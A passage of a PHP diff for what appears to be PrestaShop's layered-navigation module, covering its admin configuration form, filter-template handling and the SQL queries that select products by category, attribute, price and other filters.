Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.'layered_filter` SET `filters` = \''.pSQL(serialize($data)).'\' WHERE `id_layered_filter` = '.(int)$layered_filter['id_layered_filter'].''); + } + } + $this->buildLayeredCategories(); + } + + public function getContent() + { + global $cookie; + + $html = ''; + + if (Tools::isSubmit('SubmitFilter')) + { + if (!Tools::getValue('layered_tpl_name')) + $html .= ' +
    + + X + + '.$this->l('Filter template name required (cannot be empty)').' +
    '; + else + { + if (isset($_POST['id_layered_filter']) && $_POST['id_layered_filter']) + { + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'layered_filter WHERE id_layered_filter = '.(int)Tools::getValue('id_layered_filter')); + $this->buildLayeredCategories(); + } + + if (Tools::getValue('scope') == 1) + { + Db::getInstance()->execute('TRUNCATE TABLE '._DB_PREFIX_.'layered_filter'); + $categories = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT id_category FROM '._DB_PREFIX_.'category'); + foreach ($categories as $category) + $_POST['categoryBox'][] = (int)$category['id_category']; + } + + if (version_compare(_PS_VERSION_, '1.5', '>')) + { + $id_layered_filter = (int)$_POST['id_layered_filter']; + if (!$id_layered_filter) + $id_layered_filter = (int)Db::getInstance()->Insert_ID(); + + $shop_list = array(); + if (isset($_POST['checkBoxShopAsso_layered_filter'])) + { + foreach ($_POST['checkBoxShopAsso_layered_filter'] as $id_shop => $row) + { + $assos[] = array('id_object' => (int)$id_layered_filter, 'id_shop' => (int)$id_shop); + $shop_list[] = (int)$id_shop; + } + } + else + $shop_list = array(Context::getContext()->shop->id); + } + else + $shop_list = array(0); + + if (count($_POST['categoryBox'])) + { + /* Clean categoryBox before use */ + if (isset($_POST['categoryBox']) && is_array($_POST['categoryBox'])) + foreach ($_POST['categoryBox'] as &$category_box_tmp) + $category_box_tmp = (int)$category_box_tmp; + + $filter_values = array(); + foreach ($_POST['categoryBox'] as $idc) + $filter_values['categories'][] = (int)$idc; + $filter_values['shop_list'] = $shop_list; + + $values = false; + foreach ($_POST['categoryBox'] as $id_category_layered) + { + foreach ($_POST as $key => $value) + if (substr($key, 0, 17) == 'layered_selection' && $value == 'on') + { + $values = true; + $type = 0; + $limit = 0; + if (Tools::getValue($key.'_filter_type')) + $type = Tools::getValue($key.'_filter_type'); + if (Tools::getValue($key.'_filter_show_limit')) + $limit = Tools::getValue($key.'_filter_show_limit'); + + $filter_values[$key] = array( + 'filter_type' => (int)$type, + 'filter_show_limit' => (int)$limit + ); + } + } + + if (version_compare(_PS_VERSION_, '1.5', '>')) + { + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'layered_filter_shop WHERE `id_layered_filter` = '.(int)$id_layered_filter); + if (isset($assos)) + foreach ($assos as $asso) + Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'layered_filter_shop (`id_layered_filter`, `id_shop`) + VALUES('.$id_layered_filter.', '.(int)$asso['id_shop'].')'); + } + + $values_to_insert = array( + 'name' => pSQL(Tools::getValue('layered_tpl_name')), + 'filters' => pSQL(serialize($filter_values)), + 'n_categories' => (int)count($filter_values['categories']), + 'date_add' => date('Y-m-d H:i:s')); + if (isset($_POST['id_layered_filter']) && $_POST['id_layered_filter']) + $values_to_insert['id_layered_filter'] = (int)Tools::getValue('id_layered_filter'); + + Db::getInstance()->autoExecute(_DB_PREFIX_.'layered_filter', $values_to_insert, 'INSERT'); + $this->buildLayeredCategories(); + + $html .= '
    '.(version_compare(_PS_VERSION_,'1.5','>') ? '' : ''). + $this->l('Your filter').' "'.Tools::safeOutput(Tools::getValue('layered_tpl_name')).'" '. + ((isset($_POST['id_layered_filter']) && $_POST['id_layered_filter']) ? $this->l('was updated successfully.') : $this->l('was added successfully.')).'
    '; + } + } + } + else if (Tools::isSubmit('submitLayeredSettings')) + { + Configuration::updateValue('PS_LAYERED_HIDE_0_VALUES', (int)Tools::getValue('ps_layered_hide_0_values')); + Configuration::updateValue('PS_LAYERED_SHOW_QTIES', (int)Tools::getValue('ps_layered_show_qties')); + Configuration::updateValue('PS_LAYERED_FULL_TREE', (int)Tools::getValue('ps_layered_full_tree')); + Configuration::updateValue('PS_LAYERED_FILTER_PRICE_USETAX', (int)Tools::getValue('ps_layered_filter_price_usetax')); + Configuration::updateValue('PS_LAYERED_FILTER_CATEGORY_DEPTH', (int)Tools::getValue('ps_layered_filter_category_depth')); + Configuration::updateValue('PS_LAYERED_FILTER_INDEX_QTY', (int)Tools::getValue('ps_layered_filter_index_availability')); + Configuration::updateValue('PS_LAYERED_FILTER_INDEX_CDT', (int)Tools::getValue('ps_layered_filter_index_condition')); + Configuration::updateValue('PS_LAYERED_FILTER_INDEX_MNF', (int)Tools::getValue('ps_layered_filter_index_manufacturer')); + Configuration::updateValue('PS_LAYERED_FILTER_INDEX_CAT', (int)Tools::getValue('ps_layered_filter_index_category')); + + $html .= ' +
    '. + (version_compare(_PS_VERSION_,'1.5','>') ? '' : '').$this->l('Settings saved successfully').' +
    '; + } + else if (isset($_GET['deleteFilterTemplate'])) + { + $layered_values = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT filters + FROM '._DB_PREFIX_.'layered_filter + WHERE id_layered_filter = '.(int)$_GET['id_layered_filter']); + + if ($layered_values) + { + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'layered_filter WHERE id_layered_filter = '.(int)$_GET['id_layered_filter'].' LIMIT 1'); + $this->buildLayeredCategories(); + + $html .= ' +
    '.(version_compare(_PS_VERSION_,'1.5','>') ? '' : '').' + '.$this->l('Filter template deleted, categories updated (reverted to default Filter template).').' +
    '; + } + else + { + $html .= ' +
    + '.$this->l('Filter template not found').' +
    '; + } + } + + $html .= ' + + +

    '.$this->l('Layered navigation').'

    +
    + '.$this->l('Indexes and caches').' + '; + + if (version_compare(_PS_VERSION_, '1.5', '<') && !Configuration::get('PS_LAYERED_INDEXED') + || version_compare(_PS_VERSION_, '1.5', '>') && !Configuration::getGlobalValue('PS_LAYERED_INDEXED')) + $html .= ' + '; + + $category_ist = array(); + foreach (Db::getInstance()->executeS('SELECT id_category FROM `'._DB_PREFIX_.'category`') as $category) + if ($category['id_category'] != 1) + $category_ist[] = $category['id_category']; + + $domain = Tools::getProtocol(Tools::usingSecureMode()).$_SERVER['HTTP_HOST']; + + $html .= ' + '. + $this->l('Index all missing prices').' +
    + '. + $this->l('Rebuild entire price index').' +
    + '. + $this->l('Build attribute index').' +
    + '. + $this->l('Build URL index').' +
    +
    + '.$this->l('You can set a cron job that will rebuild price index using the following URL:').'
    '. + $domain.__PS_BASE_URI__.'modules/blocklayered/blocklayered-price-indexer.php'.'?token='.substr(Tools::encrypt('blocklayered/index'), 0, 10).'&full=1 +
    + '.$this->l('You can set a cron job that will rebuild URL index using the following URL:').'
    '. + $domain.__PS_BASE_URI__.'modules/blocklayered/blocklayered-url-indexer.php'.'?token='.substr(Tools::encrypt('blocklayered/index'), 0, 10).'&truncate=1 +
    + '.$this->l('You can set a cron job that will rebuild attribute index using the following URL:').'
    '. + $domain.__PS_BASE_URI__.'modules/blocklayered/blocklayered-attribute-indexer.php'.'?token='.substr(Tools::encrypt('blocklayered/index'), 0, 10).' +

    + '.$this->l('A nightly rebuild is recommended.').' + +
    +
    +
    + '.$this->l('Existing filter templates').''; + + $filters_templates = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM '._DB_PREFIX_.'layered_filter ORDER BY date_add DESC'); + if (count($filters_templates)) + { + $html .= '

    '.count($filters_templates).' '.$this->l('filter templates are configured:').'

    + + + + + + + + '; + + foreach ($filters_templates as $filters_template) + { + /* Clean request URI first */ + $_SERVER['REQUEST_URI'] = preg_replace('/&deleteFilterTemplate=[0-9]*&id_layered_filter=[0-9]*/', '', $_SERVER['REQUEST_URI']); + + $html .= ' + + + + + + + '; + } + + $html .= ' +
    '.$this->l('ID').''.$this->l('Name').''.$this->l('Categories').''.$this->l('Created on').''.$this->l('Actions').'
    '.(int)$filters_template['id_layered_filter'].''.$filters_template['name'].''.(int)$filters_template['n_categories'].''.Tools::displayDate($filters_template['date_add'], (int)$cookie->id_lang, true).' + + + + +
    '; + } + else + $html .= $this->l('No filter template found.'); + + $html .= ' +

    +
    + '.$this->l('Build your own filter template').' + + +
    '; + + $html .= ' +

    '.$this->l('Step 1/3 - Select categories').'

    +

    + '.$this->l('Use this template for:').' + + + + + +

    '; + + if (version_compare(_PS_VERSION_,'1.5','>')) + { + $shops = Shop::getShops(true, null, true); + if (count($shops) > 1) + { + $helper = new HelperForm(); + $helper->id = null; + $helper->table = 'layered_filter'; + $helper->identifier = 'id_layered_filter'; + + if (Shop::isFeatureActive()) + { + $html .= ''.$this->l('Choose shop association:').''; + $html .= '
    '.$helper->renderAssoShop().'
    '; + } + } + } + + $html .= ' + +
    +
    +

    '.$this->l('Categories using this template').'

    +
      +
    1. '.$this->l('Select one ore more category using this filter template').'
    2. +
    3. '.$this->l('Press "Save this selection" or close the window to save').'
    4. +
    '; + + $selected_cat = array(); + // Translations are not automatic for the moment ;) + if (version_compare(_PS_VERSION_,'1.5','>')) + { + if (Shop::getContext() == Shop::CONTEXT_SHOP) + { + $root_category = Category::getRootCategory(); + $root_category = array('id_category' => $root_category->id_category, 'name' => $root_category->name); + } + else + $root_category = array('id_category' => '0', 'name' => $this->l('Root')); + $helper = new Helper(); + $html .= $helper->renderCategoryTree(null, $selected_cat, 'categoryBox'); + } + else + { + $trads = array( + 'Home' => $this->l('Home'), + 'selected' => $this->l('selected'), + 'Collapse All' => $this->l('Collapse All'), + 'Expand All' => $this->l('Expand All'), + 'Check All' => $this->l('Check All'), + 'Uncheck All' => $this->l('Uncheck All'), + 'search' => $this->l('Search a category') + ); + $html .= Helper::renderAdminCategorieTree($trads, $selected_cat, 'categoryBox'); + } + + $html .= ' +
    +
    +
    +
    +
    +
    +

    '.$this->l('Step 2/3 - Select filters').'

    +
    +
    +

    '.$this->l('Selected filters').' (0)

    +

    '.$this->l('No filters selected yet.').'

    +
      +
      +
      + '.$this->ajaxCallBackOffice().' +
      +
      +
      +
      '; + + if (version_compare(_PS_VERSION_,'1.5','>')) + { + $this->context->controller->addJQueryPlugin('fancybox'); + $this->context->controller->addJQueryUI('ui.sortable'); + $this->context->controller->addJQueryUI('ui.draggable'); + $this->context->controller->addJQueryUI('effects.transfer'); + $id_lang = Context::getContext()->cookie->id_lang; + } + else + { + $html .= ' + + '; + $id_lang = (int)$cookie->id_lang; + + } + + $html .= ' + +
      +
      +
      + '.$this->l('Errors:').' +
        +
      • '.$this->l('Filter template name required (cannot be empty)').'
      • +
      +
      +

      '.$this->l('Step 3/3 - Name your template').'

      +

      '.$this->l('Template name:').' ('.$this->l('only as a reminder').')

      +
      +

      '.$this->l('No filters selected, the blocklayered will be disable for the categories seleted.').'

      +
      +
      +
      + + +
      +

      +
      + '.$this->l('Configuration').' +
      + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
      '.$this->l('Option').''.$this->l('Value').'
      '.$this->l('Hide filter values with no product is matching').' + '.$this->l('Yes').' + '.$this->l('Yes').' + '.$this->l('No').' + '.$this->l('No').' +
      '.$this->l('Show the number of matching products').' + '.$this->l('Yes').' + '.$this->l('Yes').' + '.$this->l('No').' + '.$this->l('No').' +
      '.$this->l('Show products from subcategories').' + '.$this->l('Yes').' + '.$this->l('Yes').' + '.$this->l('No').' + '.$this->l('No').' +
      '.$this->l('Category filter depth (0 for no limits, 1 by default)').' + +
      '.$this->l('Use tax to filter price').' + '.$this->l('Yes').' + '.$this->l('Yes').' + '.$this->l('No').' + '.$this->l('No').' +
      '.$this->l('Allow indexing robots (google, yahoo, bing, ...) to use condition filter').' + '.$this->l('Yes').' + '.$this->l('Yes').' + '.$this->l('No').' + '.$this->l('No').' +
      '.$this->l('Allow indexing robots (google, yahoo, bing, ...) to use availability filter').' + '.$this->l('Yes').' + '.$this->l('Yes').' + '.$this->l('No').' + '.$this->l('No').' +
      '.$this->l('Allow indexing robots (google, yahoo, bing, ...) to use manufacturer filter').' + '.$this->l('Yes').' + '.$this->l('Yes').' + '.$this->l('No').' + '.$this->l('No').' +
      '.$this->l('Allow indexing robots (google, yahoo, bing, ...) to use category filter').' + '.$this->l('Yes').' + '.$this->l('Yes').' + '.$this->l('No').' + '.$this->l('No').' +
      +

      +
      +
      '; + + return $html; + } + + private function getSelectedFilters() + { + $id_parent = (int)Tools::getValue('id_category', Tools::getValue('id_category_layered', 1)); + if ($id_parent == 1) + return; + + // Force attributes selection (by url '.../2-mycategory/color-blue' or by get parameter 'selected_filters') + if (strpos($_SERVER['SCRIPT_FILENAME'], 'blocklayered-ajax.php') === false || Tools::getValue('selected_filters') !== false) + { + if (Tools::getValue('selected_filters')) + $url = Tools::getValue('selected_filters'); + else + $url = preg_replace('/\/(?:\w*)\/(?:[0-9]+[-\w]*)([^\?]*)\??.*/', '$1', Tools::safeOutput($_SERVER['REQUEST_URI'], true)); + + $url_attributes = explode('/', ltrim($url, '/')); + $selected_filters = array('category' => array()); + if (!empty($url_attributes)) + { + foreach ($url_attributes as $url_attribute) + { + $url_parameters = explode('-', $url_attribute); + $attribute_name = array_shift($url_parameters); + if ($attribute_name == 'page') + $this->page = (int)$url_parameters[0]; + else if (in_array($attribute_name, array('price', 'weight'))) + $selected_filters[$attribute_name] = array($url_parameters[0], $url_parameters[1]); + else + { + foreach ($url_parameters as $url_parameter) + { + $data = Db::getInstance()->getValue('SELECT data FROM `'._DB_PREFIX_.'layered_friendly_url` WHERE `url_key` = \''.md5('/'.$attribute_name.'-'.$url_parameter).'\''); + if ($data) + foreach (self::unSerialize($data) as $key_params => $params) + { + if (!isset($selected_filters[$key_params])) + $selected_filters[$key_params] = array(); + foreach ($params as $key_param => $param) + { + if (!isset($selected_filters[$key_params][$key_param])) + $selected_filters[$key_params][$key_param] = array(); + $selected_filters[$key_params][$key_param] = $param; + } + } + } + } + } + return $selected_filters; + } + } + + /* Analyze all the filters selected by the user and store them into a tab */ + $selected_filters = array('category' => array(), 'manufacturer' => array(), 'quantity' => array(), 'condition' => array()); + foreach ($_GET as $key => $value) + if (substr($key, 0, 8) == 'layered_') + { + preg_match('/^(.*)_([0-9]+|new|used|refurbished|slider)$/', substr($key, 8, strlen($key) - 8), $res); + if (isset($res[1])) + { + $tmp_tab = explode('_', $value); + $value = $tmp_tab[0]; + $id_key = false; + if (isset($tmp_tab[1])) + $id_key = $tmp_tab[1]; + if ($res[1] == 'condition' && in_array($value, array('new', 'used', 'refurbished'))) + $selected_filters['condition'][] = $value; + else if ($res[1] == 'quantity' && (!$value || $value == 1)) + $selected_filters['quantity'][] = $value; + else if (in_array($res[1], array('category', 'manufacturer'))) + { + if (!isset($selected_filters[$res[1].($id_key ? '_'.$id_key : '')])) + $selected_filters[$res[1].($id_key ? '_'.$id_key : '')] = array(); + $selected_filters[$res[1].($id_key ? '_'.$id_key : '')][] = (int)$value; + } + else if (in_array($res[1], array('id_attribute_group', 'id_feature'))) + { + if (!isset($selected_filters[$res[1]])) + $selected_filters[$res[1]] = array(); + $selected_filters[$res[1]][(int)$value] = $id_key.'_'.(int)$value; + } + else if ($res[1] == 'weight') + $selected_filters[$res[1]] = $tmp_tab; + else if ($res[1] == 'price') + $selected_filters[$res[1]] = $tmp_tab; + } + } + return $selected_filters; + } + + public function getProductByFilters($selected_filters = array()) + { + global $cookie; + + if (!empty($this->products)) + return $this->products; + + /* If the current category isn't defined or if it's homepage, we have nothing to display */ + $id_parent = (int)Tools::getValue('id_category', Tools::getValue('id_category_layered', 1)); + if ($id_parent == 1) + return false; + + $alias_where = 'p'; + if (version_compare(_PS_VERSION_,'1.5','>')) + $alias_where = 'product_shop'; + $query_filters_where = ' AND '.$alias_where.'.`active` = 1'; + $query_filters_from = ''; + + $parent = new Category((int)$id_parent); + if (!count($selected_filters['category'])) + { + if (Configuration::get('PS_LAYERED_FULL_TREE')) + $query_filters_from .= ' INNER JOIN '._DB_PREFIX_.'category_product cp + ON p.id_product = cp.id_product + INNER JOIN '._DB_PREFIX_.'category c ON (c.id_category = cp.id_category AND + '.(Configuration::get('PS_LAYERED_FULL_TREE') ? 'c.nleft >= '.(int)$parent->nleft.' + AND c.nright <= '.(int)$parent->nright : 'c.id_category = '.(int)$id_parent).' + AND c.active = 1)'; + else + $query_filters_from .= ' INNER JOIN '._DB_PREFIX_.'category_product cp + ON p.id_product = cp.id_product + INNER JOIN '._DB_PREFIX_.'category c ON (c.id_category = cp.id_category + AND c.id_category = '.(int)$id_parent.' + AND c.active = 1)'; + } + + foreach ($selected_filters as $key => $filter_values) + { + if (!count($filter_values)) + continue; + + preg_match('/^(.*[^_0-9])/', $key, $res); + $key = $res[1]; + + switch ($key) + { + case 'id_feature': + $sub_queries = array(); + foreach ($filter_values as $filter_value) + { + $filter_value_array = explode('_', $filter_value); + if (!isset($sub_queries[$filter_value_array[0]])) + $sub_queries[$filter_value_array[0]] = array(); + $sub_queries[$filter_value_array[0]][] = 'fp.`id_feature_value` = '.(int)$filter_value_array[1]; + } + foreach ($sub_queries as $sub_query) + { + $query_filters_where .= ' AND p.id_product IN (SELECT `id_product` FROM `'._DB_PREFIX_.'feature_product` fp WHERE '; + $query_filters_where .= implode(' OR ', $sub_query).') '; + } + break; + + case 'id_attribute_group': + $sub_queries = array(); + + + foreach ($filter_values as $filter_value) + { + $filter_value_array = explode('_', $filter_value); + if (!isset($sub_queries[$filter_value_array[0]])) + $sub_queries[$filter_value_array[0]] = array(); + $sub_queries[$filter_value_array[0]][] = 'pac.`id_attribute` = '.(int)$filter_value_array[1]; + } + foreach ($sub_queries as $sub_query) + { + $query_filters_where .= ' AND p.id_product IN (SELECT pa.`id_product` + FROM `'._DB_PREFIX_.'product_attribute_combination` pac + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa + ON (pa.`id_product_attribute` = pac.`id_product_attribute`)'; + if (version_compare(_PS_VERSION_,'1.5','>')) + $query_filters_where .= Shop::addSqlAssociation('product_attribute', 'pa'); + $query_filters_where .= 'WHERE '.implode(' OR ', $sub_query).') '; + } + break; + + case 'category': + $query_filters_where .= ' AND p.id_product IN (SELECT id_product FROM '._DB_PREFIX_.'category_product cp WHERE '; + foreach ($selected_filters['category'] as $id_category) + $query_filters_where .= 'cp.`id_category` = '.(int)$id_category.' OR '; + $query_filters_where = rtrim($query_filters_where, 'OR ').')'; + break; + + case 'quantity': + if (count($selected_filters['quantity']) == 2) + break; + if (version_compare(_PS_VERSION_,'1.5','>')) + { + $query_filters_where .= ' AND sa.quantity '.(!$selected_filters['quantity'][0] ? '<=' : '>').' 0 '; + $query_filters_from .= 'LEFT JOIN `'._DB_PREFIX_.'stock_available` sa ON (sa.id_product = p.id_product AND sa.id_shop = '.(int)Context::getContext()->shop->id.') '; + } + else + $query_filters_where .= ' AND p.quantity '.(!$selected_filters['quantity'][0] ? '<=' : '>').' 0 '; + break; + + case 'manufacturer': + $query_filters_where .= ' AND p.id_manufacturer IN ('.implode($selected_filters['manufacturer'], ',').')'; + break; + + case 'condition': + if (count($selected_filters['condition']) == 3) + break; + $query_filters_where .= ' AND '.$alias_where.'.condition IN ('; + foreach ($selected_filters['condition'] as $cond) + $query_filters_where .= '\''.$cond.'\','; + $query_filters_where = rtrim($query_filters_where, ',').')'; + break; + + case 'weight': + if ($selected_filters['weight'][0] != 0 || $selected_filters['weight'][1] != 0) + $query_filters_where .= ' AND p.`weight` BETWEEN '.(float)($selected_filters['weight'][0] - 0.001).' AND '.(float)($selected_filters['weight'][1] + 0.001); + + case 'price': + if (isset($selected_filters['price'])) + { + if ($selected_filters['price'][0] !== '' || $selected_filters['price'][1] !== '') + { + $price_filter = array(); + $price_filter['min'] = (float)($selected_filters['price'][0]); + $price_filter['max'] = (float)($selected_filters['price'][1]); + } + } + else + $price_filter = false; + break; + } + } + + if (version_compare(_PS_VERSION_,'1.5','>')) + $id_currency = (int)Context::getContext()->currency->id; + else + $id_currency = (int)Currency::getCurrent()->id; + + $price_filter_query_in = ''; // All products with price range between price filters limits + $price_filter_query_out = ''; // All products with a price filters limit on it price range + if (isset($price_filter) && $price_filter) + { + $price_filter_query_in = 'INNER JOIN `'._DB_PREFIX_.'layered_price_index` psi + ON + ( + psi.price_min >= '.(int)$price_filter['min'].' + AND psi.price_max <= '.(int)$price_filter['max'].' + AND psi.`id_product` = p.`id_product` + AND psi.`id_currency` = '.$id_currency.' + )'; + + $price_filter_query_out = 'INNER JOIN `'._DB_PREFIX_.'layered_price_index` psi + ON + ((psi.price_min < '.(int)$price_filter['min'].' AND psi.price_max > '.(int)$price_filter['min'].') + OR + (psi.price_max > '.(int)$price_filter['max'].' AND psi.price_min < '.(int)$price_filter['max'].')) + AND psi.`id_product` = p.`id_product` + AND psi.`id_currency` = '.$id_currency; + } + + if (version_compare(_PS_VERSION_,'1.5','>')) + $query_filters_from .= Shop::addSqlAssociation('product', 'p'); + + $all_products_out = self::query(' + SELECT p.`id_product` id_product + FROM `'._DB_PREFIX_.'product` p + '.$price_filter_query_out.' + '.$query_filters_from.' + WHERE 1 '.$query_filters_where.' GROUP BY id_product'); + + $all_products_in = self::query(' + SELECT p.`id_product` id_product + FROM `'._DB_PREFIX_.'product` p + '.$price_filter_query_in.' + '.$query_filters_from.' + WHERE 1 '.$query_filters_where.' GROUP BY id_product'); + + $product_id_list = array(); + + while ($product = DB::getInstance()->nextRow($all_products_in)) + $product_id_list[] = (int)$product['id_product']; + + while ($product = DB::getInstance()->nextRow($all_products_out)) + if (isset($price_filter) && $price_filter) + { + $price = (int)Product::getPriceStatic($product['id_product'], Configuration::get('PS_LAYERED_FILTER_PRICE_USETAX')); // Cast to int because we don't care about cents + if ($price < $price_filter['min'] || $price > $price_filter['max']) + continue; + $product_id_list[] = (int)$product['id_product']; + } + $this->nbr_products = count($product_id_list); + + if ($this->nbr_products == 0) + $this->products = array(); + else + { + $n = (int)Tools::getValue('n', Configuration::get('PS_PRODUCTS_PER_PAGE')); + $join = ''; + if (version_compare(_PS_VERSION_,'1.5','>')) + $join = Shop::addSqlAssociation('product', 'p'); + $this->products = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT + p.*, + '.($alias_where == 'p' ? '' : 'product_shop.*,' ).' + '.$alias_where.'.id_category_default, + pl.*, + i.id_image, + il.legend, + m.name manufacturer_name, + DATEDIFF('.$alias_where.'.`date_add`, DATE_SUB(NOW(), INTERVAL '.(Validate::isUnsignedInt(Configuration::get('PS_NB_DAYS_NEW_PRODUCT')) ? Configuration::get('PS_NB_DAYS_NEW_PRODUCT') : 20).' DAY)) > 0 AS new + FROM `'._DB_PREFIX_.'category_product` cp + LEFT JOIN '._DB_PREFIX_.'category c ON (c.id_category = cp.id_category) + LEFT JOIN `'._DB_PREFIX_.'product` p ON p.`id_product` = cp.`id_product` + '.$join.' + LEFT JOIN '._DB_PREFIX_.'product_lang pl ON (pl.id_product = p.id_product'.Shop::addSqlRestrictionOnLang('pl').') + LEFT JOIN '._DB_PREFIX_.'image i ON (i.id_product = p.id_product AND i.cover = 1) + LEFT JOIN '._DB_PREFIX_.'image_lang il ON (i.id_image = il.id_image AND il.id_lang = '.(int)($cookie->id_lang).') + LEFT JOIN '._DB_PREFIX_.'manufacturer m ON (m.id_manufacturer = p.id_manufacturer) + WHERE '.$alias_where.'.`active` = 1 AND + '.(Configuration::get('PS_LAYERED_FULL_TREE') ? 'c.nleft >= '.(int)$parent->nleft.' + AND c.nright <= '.(int)$parent->nright : 'c.id_category = '.(int)$id_parent).' + AND c.active = 1 + AND pl.id_lang = '.(int)$cookie->id_lang.' + AND p.id_product IN ('.implode(',', $product_id_list).')' + .' GROUP BY p.id_product ORDER BY '.Tools::getProductsOrder('by', Tools::getValue('orderby'), true).' '.Tools::getProductsOrder('way', Tools::getValue('orderway')). + ' LIMIT '.(((int)$this->page - 1) * $n.','.$n)); + } + + if (Tools::getProductsOrder('by', Tools::getValue('orderby'), true) == 'p.price') + Tools::orderbyPrice($this->products, Tools::getProductsOrder('way', Tools::getValue('orderway'))); + + return $this->products; + } + + private static function query($sql_query) + { + if (version_compare(_PS_VERSION_,'1.5','>')) + return Db::getInstance(_PS_USE_SQL_SLAVE_)->query($sql_query); + else + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql_query, false); + } + + public function getFilterBlock($selected_filters = array()) + { + global $cookie; + static $cache = null; + + if (version_compare(_PS_VERSION_,'1.5','>')) + { + $id_lang = Context::getContext()->language->id; + $currency = Context::getContext()->currency; + $id_shop = (int) Context::getContext()->shop->id; + $alias = 'product_shop'; + } + else + { + $id_lang = (int)$cookie->id_lang; + $currency = Currency::getCurrent(); + $id_shop = 0; + $alias = 'p'; + } + + if (is_array($cache)) + return $cache; + + + $id_parent = (int)Tools::getValue('id_category', Tools::getValue('id_category_layered', 1)); + if ($id_parent == 1) + return; + + $parent = new Category((int)$id_parent, $id_lang); + + /* Get the filters for the current category */ + $filters = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM '._DB_PREFIX_.'layered_category + WHERE id_category = '.(int)$id_parent.' + AND id_shop = '.$id_shop.' + GROUP BY `type`, id_value ORDER BY position ASC'); + // Remove all empty selected filters + foreach ($selected_filters as $key => $value) + switch ($key) + { + case 'price': + case 'weight': + if ($value[0] === '' && $value[1] === '') + unset($selected_filters[$key]); + break; + default: + if ($value == '') + unset($selected_filters[$key]); + break; + } + + $filter_blocks = array(); + foreach ($filters as $filter) + { + $sql_query = array('select' => '', 'from' => '', 'join' => '', 'where' => '', 'group' => '', 'second_query' => ''); + switch ($filter['type']) + { + // conditions + quantities + weight + price + case 'price': + case 'weight': + case 'condition': + case 'quantity': + + if (version_compare(_PS_VERSION_,'1.5','>')) + $sql_query['select'] = 'SELECT p.`id_product`, product_shop.`condition`, p.`id_manufacturer`, sa.`quantity`, p.`weight` '; + else + $sql_query['select'] = 'SELECT p.`id_product`, p.`condition`, p.`id_manufacturer`, p.`quantity`, p.`weight` '; + $sql_query['from'] = ' + FROM '._DB_PREFIX_.'product p '; + $sql_query['join'] = ' + INNER JOIN '._DB_PREFIX_.'category_product cp ON (cp.id_product = p.id_product) + INNER JOIN '._DB_PREFIX_.'category c ON (c.id_category = cp.id_category AND + '.(Configuration::get('PS_LAYERED_FULL_TREE') ? 'c.nleft >= '.(int)$parent->nleft.' + AND c.nright <= '.(int)$parent->nright : 'c.id_category = '.(int)$id_parent).' + AND c.active = 1) '; + if (version_compare(_PS_VERSION_,'1.5','>')) + { + $sql_query['join'] .= 'LEFT JOIN `'._DB_PREFIX_.'stock_available` sa + ON (sa.id_product = p.id_product AND sa.id_shop = '.(int)$this->context->shop->id.') '; + $sql_query['where'] = 'WHERE product_shop.`active` = 1 '; + } + else + $sql_query['where'] = 'WHERE p.`active` = 1 '; + $sql_query['group'] = ' GROUP BY p.id_product '; + break; + + case 'manufacturer': + $sql_query['select'] = 'SELECT m.name, COUNT(DISTINCT p.id_product) nbr, m.id_manufacturer '; + $sql_query['from'] = ' + FROM `'._DB_PREFIX_.'category_product` cp + INNER JOIN `'._DB_PREFIX_.'category` c ON (c.id_category = cp.id_category) + INNER JOIN '._DB_PREFIX_.'product p ON (p.id_product = cp.id_product) + INNER JOIN '._DB_PREFIX_.'manufacturer m ON (m.id_manufacturer = p.id_manufacturer) '; + $sql_query['where'] = 'WHERE + '.(Configuration::get('PS_LAYERED_FULL_TREE') ? 'c.nleft >= '.(int)$parent->nleft.' + AND c.nright <= '.(int)$parent->nright : 'c.id_category = '.(int)$id_parent).' + AND c.active = 1 + AND '.$alias.'.active = 1'; + $sql_query['group'] = ' GROUP BY p.id_manufacturer '; + + if (!Configuration::get('PS_LAYERED_HIDE_0_VALUES')) + { + $sql_query['second_query'] = ' + SELECT m.name, 0 nbr, m.id_manufacturer + + FROM `'._DB_PREFIX_.'category_product` cp + '.(version_compare(_PS_VERSION_,'1.5','>') ? Shop::addSqlAssociation('product', 'cp') : '').' + INNER JOIN `'._DB_PREFIX_.'category` c ON (c.id_category = cp.id_category) + INNER JOIN '._DB_PREFIX_.'product p ON (p.id_product = cp.id_product) + INNER JOIN '._DB_PREFIX_.'manufacturer m ON (m.id_manufacturer = p.id_manufacturer) + + WHERE '.(Configuration::get('PS_LAYERED_FULL_TREE') ? 'c.nleft >= '.(int)$parent->nleft.' + AND c.nright <= '.(int)$parent->nright : 'c.id_category = '.(int)$id_parent).' + AND c.active = 1 + AND '.$alias.'.active = 1 + GROUP BY p.id_manufacturer'; + } + + break; + case 'id_attribute_group':// attribute group + $sql_query['select'] = ' + SELECT COUNT(DISTINCT p.id_product) nbr, lpa.id_attribute_group, + a.color, al.name attribute_name, agl.public_name attribute_group_name , lpa.id_attribute, ag.is_color_group, + liagl.url_name name_url_name, liagl.meta_title name_meta_title, lial.url_name value_url_name, lial.meta_title value_meta_title'; + $sql_query['from'] = ' + FROM '._DB_PREFIX_.'layered_product_attribute lpa + INNER JOIN '._DB_PREFIX_.'attribute a + ON a.id_attribute = lpa.id_attribute + INNER JOIN '._DB_PREFIX_.'attribute_lang al + ON al.id_attribute = a.id_attribute + AND al.id_lang = '.$id_lang.' + INNER JOIN '._DB_PREFIX_.'product as p + ON p.id_product = lpa.id_product + INNER JOIN '._DB_PREFIX_.'attribute_group ag + ON ag.id_attribute_group = lpa.id_attribute_group + INNER JOIN '._DB_PREFIX_.'attribute_group_lang agl + ON agl.id_attribute_group = lpa.id_attribute_group + AND agl.id_lang = '.$id_lang.' + LEFT JOIN '._DB_PREFIX_.'layered_indexable_attribute_group_lang_value liagl + ON (liagl.id_attribute_group = lpa.id_attribute_group AND liagl.id_lang = '.$id_lang.') + LEFT JOIN 